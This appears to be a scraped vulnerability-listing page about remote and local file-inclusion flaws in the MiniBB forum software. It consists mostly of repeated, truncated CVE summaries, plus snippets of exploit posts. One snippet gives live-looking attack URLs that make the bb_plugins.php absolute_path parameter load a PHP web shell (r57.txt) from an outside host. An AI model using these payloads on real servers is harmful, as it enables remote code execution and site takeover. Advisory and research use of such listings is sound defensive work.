MiniBB 2.0.5 - 'Language' Local File Inclusion

? / \|/// \ - - // @ @ ----oOOo---oOOo--------------------------------------------------- Y! Underground Group [email protected] Dj7xpl.2600.ir ----ooooO-----Ooooo-------------------------------------------------- \ / \ / --------------------------------------------------------------------- !...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in MiniBB Forum 1.5a and earlier, as used by TOSMO/Mambo 4.0.12 and probably other products, allow remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter to bbplugins.php in 1 components/minibb/ or 2...

CVE-2007-2317

Multiple PHP remote file inclusion vulnerabilities in MiniBB Forum 1.5a and earlier, as used by TOSMO/Mambo 4.0.12 and probably other products, allow remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter to bbplugins.php in 1 components/minibb/ or 2...

CVE-2007-2317

CVE-2007-2317 describes multiple PHP remote file inclusion vulnerabilities in MiniBB Forum 1.5a and earlier used with Tosmo/Mambo 4.0.12 and possibly other products. The vulnerability allows an attacker to execute arbitrary PHP code by supplying a URL to the absolute_path parameter in bb_plugins....

CVE-2007-2317

Multiple PHP remote file inclusion vulnerabilities in MiniBB Forum 1.5a and earlier, as used by TOSMO/Mambo 4.0.12 and probably other products, allow remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter to bbplugins.php in 1 components/minibb/ or 2...

CVE-2007-2317: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in MiniBB Forum 1.5a and earlier, as used by TOSMO/Mambo 4.0.12 and probably other products, allow remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter to bbplugins.php in 1 components/minibb/ or 2...

TOSMOMambo 1.4.13a - absolute_path Remote File Inclusion

TOSMOMambo 1.4.13a - absolutepath Remote File Inclusion ======================================================= Tosmo Mambo ====== /components/minibb/bbplugins.php?absolutepath=http://nachrichtenmann.de/r57.txt? /components/comminibb/bbplugins.php?absolutepath=http://nachrichtenmann.de/r57.txt?...

CVE-2006-7153

PHP remote file inclusion vulnerability in index.php in MiniBB Forum 2 allows remote attackers to execute arbitrary code via a URL in the pathToFiles parameter...

CVE-2006-7153

PHP remote file inclusion vulnerability in index.php in MiniBB Forum 2 allows remote attackers to execute arbitrary code via a URL in the pathToFiles parameter...

CVE-2006-7156

CVE-2006-7156 describes a PHP remote file inclusion vulnerability in the Keyword Replacer (keyword_replacer) 1.0 and earlier, a module for miniBB. The flaw allows remote attackers to execute arbitrary PHP code by supplying a URL in the pathToFiles parameter. This is a classic RFI in a component u...

CVE-2006-7153

CVE-2006-7153 is a PHP remote file inclusion vulnerability in MiniBB Forum 2 (index.php) that allows an attacker to execute arbitrary code by supplying a URL in the pathToFiles parameter. The issue enables remote code execution with network access, with CVSS v2 base score 10.0 (HIGH) and impact o...

CVE-2006-7156

PHP remote file inclusion vulnerability in addonkeywords.php in Keyword Replacer keywordreplacer 1.0 and earlier, a module for miniBB, allows remote attackers to execute arbitrary PHP code via a URL in the pathToFiles parameter...

CVE-2006-7153: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in MiniBB Forum 2 allows remote attackers to execute arbitrary code via a URL in the pathToFiles parameter...

CVE-2006-7156: Undefined Security Weakness

PHP remote file inclusion vulnerability in addonkeywords.php in Keyword Replacer keywordreplacer 1.0 and earlier, a module for miniBB, allows remote attackers to execute arbitrary PHP code via a URL in the pathToFiles parameter...

minibb2-rfi.txt

Title : MiniBB Forum = 2 Remote File Include index.php Discovered By :::: ThE-LoRd-Of-CrAcKiNg MeHdi ------------------------------------------------------------------------ Sorce Code: http://www.minibb.net/download.php?file=minibb20 ----- Affected software description : Application : MiniBB For...

New Bug MiniBB Forum <= 2 Remote File Include (index.php)

Title : MiniBB Forum = 2 Remote File Include index.php Discovered By :::: ThE-LoRd-Of-CrAcKiNg MeHdi ------------------------------------------------------------------------ Sorce Code: http://www.minibb.net/download.php?file=minibb20 ----- Affected software description : Application : MiniBB For...

CVE-2006-5673

PHP remote file inclusion vulnerability in bbfunctxt.php in miniBB 2.0.2 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the pathToFiles parameter...

CVE-2006-5674

Multiple PHP remote file inclusion vulnerabilities in miniBB 2.0.2 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the pathToFiles parameter to 1 bbfuncforums.php, 2 bbfunctions.php, or 3 the RSS plugin...

CVE-2006-5673

PHP remote file inclusion vulnerability in bbfunctxt.php in miniBB 2.0.2 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the pathToFiles parameter...

CVE-2006-5674

CVE-2006-5674 describes multiple PHP remote file inclusion vulnerabilities in miniBB 2.0.2 and earlier. When register_globals is enabled, an attacker can cause arbitrary PHP code execution by supplying a URL in the pathToFiles parameter to one of: bb_func_forums.php, bb_functions.php, or the RSS ...